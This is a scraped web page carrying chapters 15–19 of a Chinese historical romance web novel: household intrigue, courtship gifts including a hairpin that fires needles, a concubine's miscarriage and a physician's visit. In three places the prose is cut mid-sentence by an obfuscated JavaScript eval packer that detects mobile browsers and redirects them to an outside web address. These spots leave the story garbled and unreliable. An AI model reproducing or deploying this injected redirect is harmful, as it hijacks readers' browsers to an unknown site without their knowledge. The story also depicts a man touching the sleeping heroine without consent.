岑景舒猛然被摔在榻上,背部传来轻微的痛感,下意识闷哼出声。 她勾唇一笑,咬着牙抬脚朝着谢无咎的下半身用力一踹,低声骂道:“谢在野,活腻歪了?” 不出意料的,这一脚被轻飘飘躲了过去,谢无咎挑了挑眉,哑声道:“我控制着力道,倒是卿卿可还真舍得。” 她被谢无咎欺身压在身上,两道炽热的气息互相交缠,随后带着窗外凉意的手覆上了她的眼睛,最后一丝光亮被剥夺,其余的感官更加清晰。 温热柔软的唇先是落到了她的脸颊之上,停留片刻后才去照顾等候已久的唇瓣,一触即分。 岑景舒有些难耐地动了动身子,被谢无咎的另一只手按住。 “卿卿再动,我可不敢保证,接下来会发生什么了。” 她身子一僵,大腿里侧被什么东西硌了一下,据她从所看的话本子上来推断,这应该就是...... “谢……” 岑景舒刚想说些什么,身上忽然一轻,眼前重新看见了跳动的烛火,以及神色十分微妙的谢无咎。 “谢无咎?怎么了?”她坐起身,靠在榻上,出声问询道。 谢无咎深吸一口气,还是没能压下心中的躁动。 他的卿卿此刻衣衫凌乱面色绯红,眼底因动情而泛着潋滟的水光,娇嫩的嘴唇仅仅是碰了一下,已然有些发肿。 她就这么直勾勾地盯着他看,像是某种隐秘的邀请,如有魔力的声音蛊惑着他抛开所有理智。 他闭上眼,不敢再看她,一阵风似的从窗户落荒而逃。 岑景舒眨了眨眼,二丈摸不着头脑,不知这位谢中书大人突然抽什么风。 还没来得及向他确认,把崔怀松的事情闹大是不是为了给她出气,人就这么莫名其妙地溜走了。 她犹豫了片刻后,欣然缩回了被褥之中,决定进入睡眠,总归也不是什么要紧的事情,下次再问也是一样的。 不知过了多久,她的意识彻底陷入混沌,沉沉睡了过去。 窗户处发出细微的声音,一直躲在暗处没有离开踏雪阁的谢无咎又翻了进来。 他放轻呼吸,几乎微不可查,三两步便走到了榻边,没有发出任何声音。 谢无咎的目光定在榻上之人熟睡的脸上,随后移到那丰满随着呼吸不断起伏的胸膛之上,眼底涌动着不加掩饰欲色。 片刻后,他伸出了手。 16. 第十六章 翌日一早。 “主子,醒醒,该用早膳了。” “主子?” 岑景舒睁开沉重的双眼,意识放空,眼前浮现昨夜睡前的种种画面,愣了片刻才哑声应道:“知道了。” 她抬手想要揉一揉发胀的太阳穴,刚动身子便察觉到了不对,不仅胳膊酸痛不已,浑身上下更像是被马车碾过一样酸麻。 “嘶。”岑景舒试着坐起身,牵扯着身体各个部位传来痛感,夹杂着微妙的痒意。 她缓了好一阵子,脑袋逐渐清醒,眼底却愈发疲惫,屋外的春喜又轻声喊道:“主子,用完早膳要去给大夫人请安,奴婢现在进来侍奉您洗漱可以吗?” “不必了。” 岑景舒此刻已经适应了身体,担心他还留下了什么痕迹,便没有让春喜进来,小丫头胆子小性子直,吓到她可就不好了。 她缓步挪到铜镜前坐下,便看到了她洁白的脖颈上明晃晃的几处痕迹,异常显眼且颜色很深,像是一只恶犬在标记领地,宣布主权。 而后她撩开寝衣,不出意料,上半身的痕迹比起脖颈之上的有过之而无不及。她手指抚过一片斑驳,微蹙着眉将衣衫褪下。 身体的每一寸肌肤好似都没被放过。 难怪浑身上下都酸疼无比,这恨不得将她生吞活剥了的架势,能下榻都是因为她意志比较顽强。 她眸色一暗,攥紧手指,嘴角扯出一抹笑,起身去更换衣物。 这些印记,下次便会变本加厉地出现在谢无咎的身上。 片刻后,岑景舒穿戴整齐,特意选了一件高领的外衫来遮住脖颈上的春色,脸上染了一些脂粉,容光焕发地推开了房门。 春喜早就等候在外面,见她出来立刻便道:“主子,早膳已经备着,您还去书房用吗?” “嗯。”岑景舒点了点头,快步走向书房。 即便她现在再三推脱,她也是大少夫人,早晚要接管整个崔府,偶尔胡闹放松片刻也就罢了,余下的时间可不能白白荒废。 岑景舒在书房一边对账一边用过早膳后,照例去向大夫人请安,被大夫人拉着说了好一阵子的话才回到踏雪阁继续对账。 “主子,查出来了。”夏意放轻声音,屈膝行礼不敢打扰。 岑景舒揉了揉眉心,把账簿推开,撑着下巴简短道:“说吧。” “是。”夏意直起身,开口便是一个惊为天人的消息。 “月夫人曾服用过厄芽丸,此物药性极强,以大量红花和麝香辅佐其余药材制成,只需零星半点便可使人当下滑胎。” “而月夫人服用过大量的厄芽丸,对身体造成了不可逆的伤害,理应不会有孕,即便有孕定然也生不下来。” 夏意一板一眼说完便垂眸伫立在一侧。 照此说法,霜月这一胎来的蹊跷,应当也是用了什么药物催化,并且霜月根本不是崔怀松所认为的清白之身。 岑景舒思虑良久,也只猜到了两种可能,有些无奈道:“证据都保存好,此事先不要声张。” “是,主子。”夏意停顿片刻,又道:“那男子身份尚未查明,目前线索来看疑似和北巫有关。” 北巫? 岑景舒瞳孔骤然紧缩,边境战乱不断,大小部落频频侵袭,其中这北巫便是属于大盛的劲敌之一,其将领大多凶残刚猛,极其难缠。 只不过最近北巫王年迈时日已然不多,北巫王室子弟以及其余部族虎视眈眈,这才没有侵扰边境。 若此人是北巫的奸细,那后果将不堪设想;若是此人不是北巫奸细,而是因为别的什么缘由沦落至此,那也未尝不可加以利用。 岑景舒眼尾下压,冷声道:“继续查,传信给闻绝柳,让她也时刻留意着,若是身份依旧存疑,或是有什么异样举动,让她立刻抹杀。” “是。” 夏意应声后便快步离开,瞬息之间没了身影。 岑景舒静下心来,又对了几本账簿,午膳只匆匆用了一些,填了填肚子,便又继续沉浸在账本之中。 直至晚膳前夕,岑景舒才从成堆的账本中站起身,舒展了一下有些僵硬的骨节,发出咔吧咔吧的声响。 一旁研磨的春喜见状停下手,上前几步为她捏肩,犹疑片刻低声道:“主子,长公子如今还在养伤,您要不要去瞧瞧?” 闻言岑景舒才想起一直被忽略的人来,最近应付谢无咎还要惦念各种琐事,倒是把一早定下的去探望崔怀松这回事给忘记了。 她轻轻拍了拍春喜的手,示意不必捏了,而后应道:“走吧,你随我去看看。” ** “咳咳...咳咳...” 岑景舒还未推开门便听到屋内传来阵阵虚弱的咳嗽声,以及木门都遮挡不住的有些呛鼻的药味。 守门的小厮行了礼后为她打开房门,恭敬道:“少夫人请。” 又涩又苦的汤药味扑面而来,岑景舒眼也不眨面色如常好似闻不到一般微笑着进了屋,那小厮见状敬佩地看了她一眼后悄悄捂住了口鼻。 霜一快步迎上来,额头上满是细密的汗珠,弯着腰道:“少夫人来了,我家主子说不必劳烦您跑这一趟,让您沾染了病气就不好了。” “无碍。”岑景舒抬手让他起身,接着轻声道:“我带了些伤药,你稍后让府医看一下,药性若无相冲,便早晚各外敷一次。” 话落,春喜将手中的小方木盒递给霜一。 “是,少夫人,您请。” 霜一双手接过木盒迅速揣进兜里,引着她来到了里屋后便退下了。 屋内再无旁人,岑景舒不慌不忙地找地方坐下,抬眼向榻上之人望去,崔怀松双目紧闭,眉头紧锁,苍白的嘴唇有些干裂,时不时便无意识低咳一阵。 不知是凑巧还是崔怀松有所感应,下一瞬岑景舒便看见他猛然睁开了双眼,大口喘着粗气。 她给了春喜一个眼神,春喜点了点头,立刻快步上前将他小心扶起,又喂了些一旁早已备好的温热的茶水。 片刻后,崔怀松靠在软枕之上,断断续续艰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16469782|185096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难轻声道:“景舒,多谢...你为我...求情。” 他眼中满是苦涩,摇了摇头,道:“那人是...有备而来,我一时...气...气急...” 岑景舒轻笑一声打断他,半真半假地安慰道:“长公子不必多言,谢中书趁机借题发挥为难父亲,万一此局就是冲着父亲去的呢?” “你在不知情的情况下失去了一个孩子,也算是事出有因,谢中书顶多做些文章也就罢了,并无大碍。” 崔怀松神色几经变化,有些心虚地撇开了脸,片刻后又看向她,深吸一口气道:“景舒,阿月性子软,我身子还未康复,还劳烦你平日照顾一二。” 说完他又低咳一阵,春喜见状赶忙又上前喂了些茶水,他喝下后又缓了片刻呼吸才平稳下来。 岑景舒倒是没什么反应,以霜月的手段,崔怀松被吃得死死的并不稀奇,左右不过是几句话的事情,因此便爽快点头应下了。 “这是自然,长公子放心养伤便好。” 不过这次崔怀松应当是动了真心,和以往的那些女人不同,霜月是第一个能让崔怀松如此牵肠挂肚的人。 “景舒,多...谢。”崔怀松心中的大石落地,心中却涌起更多对眼前人的愧疚,毕竟她才是名正言顺的正妻,可她却肯做到如此地步。 岑景舒不知他内心的想法,或者说是懒得去揣测他的真实想法,起身道:“长公子若无旁的事情,我就先走了。” “好。” 回到霜雪阁用完晚膳后,岑景舒照例又去了书房看书。 “主子,王小将军的信。”春喜将信件搁在书案上,转身又燃上了一根火烛,屋内更加亮堂了些。 岑景舒将信拆开,熟悉的狗爬字体映入眼帘—— “姐姐是我,老样子,桃林等你。” 岑景舒哼笑出声,把信件丢进香炉里焚毁,起身道:“春喜,我出去一趟,你照应好府里,不要让任何人发觉。” “得嘞主子,交给我了,您就放心去吧!”春喜扬了扬下巴,满脸揶揄,拍着胸脯道。 ** 夜色还不算太深,借着悠然的月光,脚下的路也不算难走。 岑景舒远远便看到了在桃花树下笑得眉眼弯弯的少年将军。 他足尖轻点,踏着月色流光,几个闪身便来到了她的眼前,兴奋道:“姐姐,你来了。” “姐姐,我为你准备了礼物。” “你猜猜看?” 岑景舒哑然失笑,抬手拍了拍他毛茸茸的脑袋,若是这人有尾巴,此刻定然是摇个不停,并且要翘到天上去。 她想了想,道:“莫不是发簪?” 王延随瞪大了双眼,惊喜道:“姐姐,你怎么猜到的?!” 随即他又得意地哼笑一声,接着道:“不过姐姐猜对了一半!还有另外一件呢,姐姐肯定会喜欢的。” 岑景舒笑着点头,道:“好好好。” “那快让我瞧瞧,我们威名赫赫的小将军准备了什么礼物?” 17. 第十七章 王延随变戏法般从袖口中拿出了一对簪子捧在手心。 “桃之夭夭,灼灼其华。” “此对簪名为桃夭和灼华。” 岑景舒愣了愣,笑道:“小将军一下子变得这么有文采,我倒是有些不习惯了。” 她接过簪子,细细打量。 这两支簪子通体晶莹剔透泛着淡淡桃粉色,触感没有丝毫凉意,应当是用暖玉制成。一支簪头处雕刻的是含苞待放的花骨朵,另一支则是娇艳欲滴开得正艳的桃花。 除此之外并无任何珠宝点缀,是一对素簪,确实是她平常最喜爱的风格。 她将那支绽放的“灼华”插到发髻之上,后撤两步让王延随看得更仔细些,道:“谢谢王小将军了,我很喜欢。” “怎么样?好看吗?” 王延随点头如捣蒜,眼中闪着星光,连连夸道:“好看!好看!姐姐就是全天下最漂亮的仙子!” “姐姐快看看手上这支‘桃夭’,我让匠人设计了一个小机关!” 岑景舒挑眉,依言看了半晌,却还是没能发现其中的玄妙,转而看向满脸写着求夸奖的王延随,道:“在哪里?好生厉害的机关呢,我竟没有发现破绽。” “姐姐,在这里!”王延随指尖悬在簪头花骨朵的一片花瓣上,接着手指移到旁边的枝桠上,道:“把簪尾对准那里,按一下试试。” 岑景舒视线跟随着他修长的手指流转,最后回到发簪的那片花瓣之上,确实有些颗粒状的凸起,原以为是纹样,没想到竟是机关,这设计过于巧妙,一点也不突兀。 她眯着眼将簪尾对准枝桠间的一个将落不落的小树杈,而后轻轻按压那处凸起,下一瞬破空之声从耳边响起,带动的气流将她鬓边的碎发吹起。 一枚闪着寒光的银针自簪尾射出,直直刺向枝桠间的树杈,将其击落,巨大的冲击力使得树杈被牢牢钉在地上。 岑景舒食指摩挲着玉簪,惊叹道:“小随你费心了,谢谢你,我很喜欢,于我而言也十分有用。” “姐姐喜欢便好!” 王延随眼尾笑意更盛,嘴角快要扬到天上去,指尖虚点了下另一侧的花瓣,继续开屏道:“这里是用来更换暗器的机关。” “姐姐若想换成铜针或是金针都可,针上还可以淬毒,玉簪用温玉加了软玉制成,可以阻隔毒素,姐姐无需担心针上淬毒会误伤自己。” 岑景舒抬手将“桃夭”插到“灼华”的下方,而后察觉到衣领因着频繁抬手落手有些歪斜,插发簪的胳膊短暂停顿了片刻,随后颇为自然地整了整衣领。 “那王小将军的另一件礼物呢?” 王延随的目光不经意在她脖颈处停留片刻,紧接着震惊道:“姐姐怎么知道还有一件礼物?” 他挠了挠头,笑着从怀中掏出了一个香囊,羞涩道:“我手不太灵巧,绣出的香囊歪七扭八实在配不上姐姐,所以拜托了阿姐亲手绣了一个香囊。” “里面装着滋补安神的香料,还有一枚我从临光寺求来的平安符。” 他收敛起笑意,认真地看向她,目光变得深沉而又温柔,将香囊双手递给她,十分郑重道:“姐姐。” “我一生别无所求,惟愿你能够平安顺遂,所愿皆所得。” “姐姐,我希望你能够幸福。” “边境那些宵小不太安分,我此番归来也待不了太久,年节将至,节后十日便是你的生辰,我不知能不能留到那时,便将你的生辰礼和年节礼现在一并送上。” “那件事我也听说了,崔长公子对姐姐不好,只要姐姐想,我有一百种方法可以让他死得光明正大。”王延随眼底闪过一丝森然,很快便恢复如常。 岑景舒将香囊拿在手中左瞧右瞧,闻言把香囊挂在腰间,拍了拍他的额头,道:“想什么呢?” 她展开双臂缓缓转了个圈,宽慰道:“我这不是好好的?我的心不在长公子那里,那么自然他喜欢谁宠爱谁也于我无关。” “小随,我现在很幸福。” 王延随眼睛一亮,长臂用力一揽将她抱在怀中,把头埋在她的颈窝,有些毛燥的头发在她的脖颈处乱跑。 她身体一僵,虽然穿了高领的外衫,可他离得如此之近,征战过沙场的少年将军无感何其敏锐,他稍加留意便能看到她身上还未褪散的痕迹。 岑景舒试探性推了推他的身子,意料之中地坚如磐石,他不满地在她颈窝处来回磨蹭,闷声道:“姐姐,不要再推开我了。” “小随,我也有礼物要送给你。”岑景舒轻轻拍了拍他的后背,柔声哄道:“你这样我如何把东西拿给你?” 王延随又抱了片刻才依依不舍放开,用湿漉漉的大眼睛巴巴地看着她,有些可怜兮兮道:“姐姐,还想抱。” “好好好,待会给你抱。”岑景舒扶了扶发钗,又拢了拢衣衫,拿出早已备好的红线手串,亲手系到他的手腕上,道:“这是我前些日子编的手串。” “说来也巧,上面有我去临光寺求的平安珠,看来我们想到一起去了。” 岑景舒打好最后一个结,直起身看向他,笑道:“也希望你平安顺遂,一往无前,战无不胜。” 王延随只瞟了一眼手腕上的手串,便迫不及待将她揽入怀中,再次埋在她的颈窝处,贪恋地吸取着她身上的味道,应道:“我会的,谢谢姐姐。” 他眼神晦涩幽深,半眯着眼看向她衣衫之下若隐若现的痕迹,不动声色收紧了手臂。 不是崔怀松,究竟是谁? 是......谢无咎...? ** 岑景舒回到踏雪阁后便把香囊取下了,王家大小姐针法巧妙绝伦,凡事见过其针法的便不会忘记,这香囊辨识度太高,她素来与王家大小姐没有交集,贸然戴上这一看就是下了功夫绣的香囊太过稀奇。 她小心将线拆开,取出里面的平安符纸,把香囊按原样一针一线缝了回去,所幸她针线功夫也不差,乍一看也看不出什么。 岑景舒把平安符纸放到内侧口袋里,又将香囊压在了软枕下,而后看向侯在一旁的春喜问道:“府上可有异常?” 春喜摇了摇头,应道:“回主子,没有。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16479369|185096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有人发觉您离开了,不过奴婢娘亲的回信方才寄过来了,奴婢还没有打开,主子现在要看吗?” 岑景舒起身向外走,道:“拿去书房。” “是主子。” 半刻钟后。 岑景舒蹙着眉将三页写得满满的家书丢进香炉里,久久未发一言,春喜见状添了杯茶,压下心头疑惑不敢出声惊扰。 春喜母亲信上所言事无巨细地把知道的内容都写了下来,除此之外还包括一些推测和想法,末了又写了一大段宽慰之言。 春喜和夏意都是她的陪嫁丫鬟,从小一起长大,姐妹情深,感情甚笃。 而春喜的母亲是她的奶娘,自小侍奉在岑老夫人,也就是她的祖母身边,早已把她当成了亲女儿疼爱,因此才毫无保留。 信上说,当年她祖父阴差阳错救过如今的崔大人,但涉及朝廷政变,甚至隐约可能和皇室有关,因此此事知道全情者唯有已故的先帝和她祖父,还有当今的陛下以及崔大人四人。 而春喜的母亲也是因为贴身伺候岑老夫人得知了只言片语,再结合当时的政治环境综合推断得来。 那么身为崔大人的正妻,大夫人不论是否知晓全部内情,但可以肯定的是,大夫人是清楚此事的,所以对待救命恩人岑老爷子最喜欢的后辈,也就是她,会格外关怀些,是理所应当的。 如此一来,崔家肯让她高嫁入府的缘由也有了。 具她所知,当初她母亲便是以此事为要挟,让她和长公子联姻,妄图自此同崔府扯上姻亲关系,从而一飞冲天。 可是凭她祖父的为人,就连她祖母也并不全然知晓内情,定然不会将此事透露给她父亲母亲了,这点大夫人不可能不知道。 那么就是大夫人本来就有意让她嫁入崔府,故而顺水推舟,应了下来。 岑景舒指尖无意识地敲击着桌面,发出清脆的声响,结合信件的内容,她有个大胆的推测。 大夫人是从心底愿意对她好,知子莫若母,长公子是个什么样子,大夫人一清二楚,那么便不可能让她嫁给长公子。 很可能最开始大夫人意属二公子。 只可惜二公子不愿成亲是一方面,另一方面便是她母亲提出要和长公子结亲,若再执意更改,倒显得有些奇怪了。 因此她的亲事就这么定下来了。 岑景舒攥紧手指,狠狠闭了闭眼,深吸一口气,此事让她脑海中回想起幼时不太美妙的记忆。 她猛然灌下一整杯茶水,片刻后恢复如常,掀开一本账簿,淡声道:“春喜,研磨。” “是,主子。” 春喜终究还是没忍住,伸手指了指她的发髻,小心翼翼问道:“主子,这桃花玉簪真好看,是王小将军送的吗?” 岑景舒心情已经平复,闻言勾了勾唇角,轻笑道:“是小随送的,你知道就好,不要声张。” 春喜研磨的手更起劲了,眼中闪着光芒,追问道:“主子,那……” 话还未说话便被屋外的小丫鬟的通禀声打断。 “少夫人,二公子身边的桑尘求见。” 18. 第十八章 岑景舒将账簿合上,道:“让他进来。” “是。” 随后门“吱嘎”一声响,不轻不重的脚步声传来。 “少夫人,我家主子请您到后院阁楼一趟,说想邀请少夫人下完那盘棋,不知少夫人这会儿是否得空?”桑尘停在外间,弯着腰扬声道。 岑景舒看了看所剩不多的账簿,思索了片刻,权当放松一下了,于是道:“知道了,我随后就去。” “是,那小的先行告退。” 岑景舒换了身能将脖颈遮得严严实实的衣衫,又加了一件外袍,对着铜镜照了照。 她嗅了嗅身上,还好王延随素来不爱熏香,倒是没什么特殊的味道,确保万无一失后,这才对春喜道:“走吧。” “主子,您最近很冷吗?要不要给您准备一个手炉?”春喜看了看她的装扮,有些疑惑道。 岑景舒拢了拢衣衫,大踏步向外走去,摇头道:“不用了。” 春喜连忙快步跟上。 她来到阁楼上时,一眼便瞧见了盘膝坐在棋盘前的崔怀鹤,他目光始终停留在棋盘之上,不知在想些什么。 只一瞬后,他似有所感,抬眼向她望过来,见来人是她,起身相迎,道:“长嫂,你来了。” 岑景舒轻轻点头回应,三两步便走到他对面,笑道:“怀鹤不必拘束,快坐下吧。” “好。”崔怀鹤看她坐下了才跟着坐下,视线一下子便被她头上的桃花玉簪吸引,很快便错开目光,再次落到棋盘之上。 岑景舒观察了一会儿棋盘,觉得这盘棋实属没有必要再继续下去,当时她和崔怀鹤心思都不在棋盘之上,谁也没有好好下。 这盘棋连残局都算不上,两三子足矣结束对局,又谈何继续? 崔怀鹤既然擅长下棋,自然清楚,那他找她来,必定还有别的事。 她随意落下一子,望向崔怀鹤,轻声道:“怀鹤,轮到你了。” 崔怀鹤同样随手落下一子,甚至连眼神都没分给棋盘半分,目光始终停留在她的身上。 “年关将至,执潭听闻节后十日便是长嫂的生辰,思来想去也不知送些什么好,左右不过些金银玉首饰,未免太过俗气。” “恰好来了阁楼,想到还有一盘棋未与长嫂下完,想来长嫂应该是对棋感兴趣的,便准备了玲珑棋子赠予长嫂当作生辰贺礼。” 崔怀鹤话落便将棋盘上的棋子扫落,棋子“哗啦”响了一阵表示抗议后再无声息,他随后从桑尘手中接过一个檀木盒,搁到棋盘之上,往她的方向推了推。 “长嫂打开看看。” 岑景舒的关注点却不在玲珑棋子之上,而是在想崔怀鹤的那句“左右不过些金银玉首饰,未免太过俗气”,这人是猜到桃花簪子是旁人送的了吗? 他难道以为簪子是谢无咎送的? 男人之间奇怪的胜负欲吗? 她心下觉得好笑,面上不显,应道:“玲珑棋子乃是古时围棋大师鲁安先生唯一流传下来的棋子,意义非凡,赠予我岂非糟践了这么好的物件?还是你留着罢。” “天下名士都在苦苦寻觅的玲珑棋子,原来在怀鹤这里。” 崔怀鹤伸出手搭在檀木盒上,又把盒子往前推了推,温声道:“长嫂过谦了,玲珑棋子与长嫂最是相配,长嫂不妨先打开看看?” 他话已至此,再推脱倒显得矫情了。 岑景舒看向那檀木盒,目光却被崔怀鹤放在上面的手勾走,深色的檀木盒衬得他的手指更加白皙,青玉手串和檀木相撞,更显古典肃穆,画面冲击力极强。 她眨了下眼,强迫自己忽视那双如画一般的手,接过檀木盒打开,道:“我也早闻玲珑棋子的珍贵,今日得以一见,还要多谢怀鹤了。” “长嫂不必客气,生辰一年只一次,自然是要重视一些,贺礼也就马虎不得。” 岑景舒弯了弯唇角,仔细端详着檀木盒内的玲珑棋子,木盒中间有块隔板,将白子和黑子分离开,棋子光滑细腻看不出是什么材质,散发着温润的光泽。 她不是很懂行,但也能一眼看出绝非凡品。 片刻后,她合上檀木盒,道:“谢谢怀鹤,这份生辰礼我很喜欢。” 她顿了顿,继续说道:“我还不知怀鹤的生辰是何时,这等私密的问题不好过问旁人,可我收了你的生辰礼,又作为你的嫂嫂,合该在你生辰时备上一份厚礼。” “三月二十七。” 崔怀鹤眼底笑意加深,道:“长嫂无需费心备礼,只要是长嫂送的,执潭都会好好珍藏。” “那怎么行?总归日子还长,暂且先不讨论这个了,这有上好的玲珑棋子,不妨再来下几盘棋如何?”岑景舒琢磨不透他此言何意,干脆回归到两人最初的来意之上。 “恭敬不如从命,长嫂先请。” 这一下便是几个时辰,还是春喜和桑尘燃烛灯的动静将岑景舒唤回了神。 她又盯着棋盘看了良久,叹了口气笑着道:“怀鹤果真棋艺高超,我甘拜下风,这局是你赢了。” “长嫂过誉了,现下时辰不早了,日后有机会再来请教长嫂。” 岑景舒又看了一眼棋盘,暗自在心中回想是从哪一步开始露出了破绽。起先她还不忘端着不擅棋艺的架子,后来越下越入迷,便一发不可收拾地较真起来,打得难舍难分。 崔怀鹤布棋和他的行事风格相差无几,润物细无声地将对方包围,全方位渗透对方生活的各个角落,让对方不自觉跟着他预料之中的轨迹行动,最后坠入万劫不复的深渊。 而他始终未曾出面,依旧是那个温润玉如的谦谦君子,杀人于无形,没人会知道他做过什么。 她的棋子被黑子吃得死死的,已是回天乏术。 “那便等日后再来。” 春喜将玲珑棋子收回檀木盒,而后抱在怀中,附在自家主子耳边轻声催促道:“主子,快些回去用晚膳吧,不然您又该不舒服了。” 岑景舒点点头,跟崔怀鹤又客套了两句这才离开,确实也有些饿了,便加快步子回到了踏雪阁内。 可真到色香味俱全的饭菜呈到她跟前时,她却忽然又没了胃口,饥饿感一扫而空,只草草用了几口裹腹便将吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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书琴却先一步到来,行了一礼后道:“少夫人,那位江南神医来了,如今正在主子的院中,还请少夫人过去一趟。” 岑景舒听到神医心尖一颤,顿时觉得舌根处苦涩无比,最近事情太多,把这件事给略了过去,或者说是她刻意不想去面对,所以下意识选择了忽略。 她强撑着笑意,道:“既然是神医来了,那便快走吧。” 岑景舒和书琴一前一后走着,许是书琴看出她心情不太好,便为她绘声绘色地讲了些崔怀松幼时的窘事来逗她开心。 她虽说对崔怀松不感兴趣,但书琴讲得太过精彩,加上崔怀松幼时捅的篓子大多都是些不打紧却十分丢脸的事,不过片刻她便被逗得眉开眼笑。 忽然,一声尖利的嚎叫自不远处传来。 “你们放开我!啊——” “我家主子小产了,我要见大夫人!放开我!!” 19. 第十九章 岑景舒和书琴同时停下脚步,书琴脸上的笑意陡然消失得一干二净,屈了屈膝道:“少夫人,奴婢去看看是怎么回事。” 她听着像是霜月身边的小青的声音,但有些不太确定,于是便摆了摆手,道:“无碍,我也去瞧瞧。” 很快她便看到一个头发凌乱满身脏污的女人,正在被一群小厮挤在墙角里堵住了嘴,更有几个小厮已经开始撕扯小青本就有些不整的衣衫。 “你们都在干什么?!”书琴沉着脸喊道。 这里虽说是大夫人院子附近,但是一个先前荒废下来的小花园,平常也就一直照顾这里的花匠会来定时打扫,根本没什么人来,这些畜牲。 几人扭头一看,来人是书琴和少夫人,纷纷开始跪下磕头求饶。 “少夫人饶命啊,回书琴姐姐的话,小的们是见这人行踪可疑,所以想盘问一番,没有别的意思,还请少夫人明鉴啊!” “是啊是啊,请少夫人明鉴。” 岑景舒皱着眉头,不去看满嘴没一句真话的小厮,方才那场景,任谁来看都知道下一步要发生什么,真当主子是傻子糊弄不成? 她走向蜷缩在角落浑身颤抖的小青,弯下身轻轻拍了拍小青的肩膀,道:“好了好了,没事了,我记得你是小青对吗?你不在主子身边伺候,怎么会在这里?” 小青颤颤巍巍抬起头,眼里蓄满了泪水,有些害怕地缩了缩身子,哽咽道:“少夫人,我家主子小产了……您能不能去派府医瞧瞧?” “求求您,救救主子吧!” 岑景舒抿了抿唇,偏头对身边的小丫鬟快速吩咐道:“去把府上最好的府医派去别院,你也跟着一起去,盯着他们,尽力保全月夫人的命。” “是。”丫鬟点点头,小跑着去通知府医了。 她软下声音,对小青道:“我已经让府医去了,你来告诉我,为何要到府上来寻大夫?别院的府医治不好,自会有人通禀,为何是你来了?” “奴婢...不敢说。”小青跪在地上,闻言身子颤抖的更厉害了,声线中都带着惧意。 岑景舒站起身,心中也大概清楚发生了什么,无非是奴才们拜高踩低不把霜月放在心上,也没再继续强迫问小青,转而看向跪倒一片大气不敢出的小厮,道:“一群混账东西!” “通通杖五十,逐出崔府。” “少夫人饶命啊,少夫人!” “小的再也不敢了,少夫人饶命啊!不要赶小的出去!” 接到消息早就侯在一旁的管事当即喊道:“还不快把人带下去!” 随即几个配着武器的小厮便把他们都拖了下去。 书琴见状低声吩咐,让人把小青带去先处理处理身上的脏污,再把人带去见大夫人。 待人走干净后,管事抹了抹额角的汗珠,一下子跪在地上,道:“小的管事不利,竟让手下的人出现这种情况,还请少夫人责罚。” 岑景舒没有说话,这里不是霜雪阁,方才处理了那些个小厮可以说是事急从权,眼下这管事她可不能再越俎代庖了。 书琴适时接话,冷哼一声道:“李管事还是留着点口舌,好好想想怎么向大夫人解释吧!” “走!” 大夫人瞥了一眼跪在地上的李管事,看向书琴吩咐道:“该怎么办就怎么办吧。” 李管事脸色一白,自知理亏,平时他就没少纵容手下那群人胡闹,连一句辩解的话都不敢说,垂着头跟在书琴身后退了下去。 大夫人拉过她的手,道:“你做的不错,神医已经在客房等着了,你的病要紧,让神医瞧瞧。” “谢谢母亲,尽溪会配合神医好好治疗的。” 片刻后,岑景舒终于见到了这位有名的江南神医的真容,本以为是一个头发花白的老爷子,没想到竟是一个面容姣好,笑得和颜悦色的年轻女子。 神医看了一眼大夫人后便移开视线,转而冲她招了招手,直接道:“你就是岑少夫人吧,快来快来,让我看看你的病。” 岑景舒点头微微一笑,随后坐到神医对面,道:“那就有劳神医了。” “诶,别这么叫我,我就是一个赤脚大夫,四处看看病而已,当不得神医的称号,我叫钟离灵妙,你叫我钟离或是灵妙都可以。” 钟离灵妙说完就闭上了眼,双指探上她的手腕,开始为她把脉。 岑景舒见状也没再回话,而是全神贯注看着钟离灵妙为她把脉的手,她莫名觉得这名字听起来十分耳熟,不知在哪里听过。 “我瞧着少夫人不仅脾胃不和,而且忧思过虑,肝火太旺。”钟离灵妙睁开眼,接着道:“少夫人张嘴伸出舌头让我看看。” 岑景舒依言张开嘴伸出一截舌头,钟离灵妙看了片刻后便道:“好了,可以了。” “我为你开两副方子,一副是调和你的脾胃,另一副则是压压你的火气,近来少夫人心中不要装太多事情,放松放松。” “另外,还需要针灸五日,少夫人看安排在什么时辰方便一些?我这些天会住在府上,我随时都有时间。” 钟离灵妙说完不等她回话,变戏法似的不知从哪掏出纸和笔,俯在桌案上开始写写画画。 不一会儿便写满了一整页纸,岑景舒觉得有些头疼,又眼睁睁看着钟离灵妙写了整整三页纸,不禁开始担心起日后喝药的事情来。 看钟离灵妙写完后,她才回道:“钟离姑娘,我什么时候都方便,不若定在晚膳后,你看可好?” 钟离灵妙点点头,把药方递给她,而后贴在她的耳边,压着声音道:“师姐托我给少夫人带句话。” “你个蠢货,给我送了个什么祖宗来,下次再不查明身份就给本姑娘乱塞人,本姑娘定要把你大卸八块!” 钟离灵妙说完后撤两步,冲她眨了眨眼,笑得更灿烂了,向大夫人点头示意后便蹦蹦跳跳跑走了。 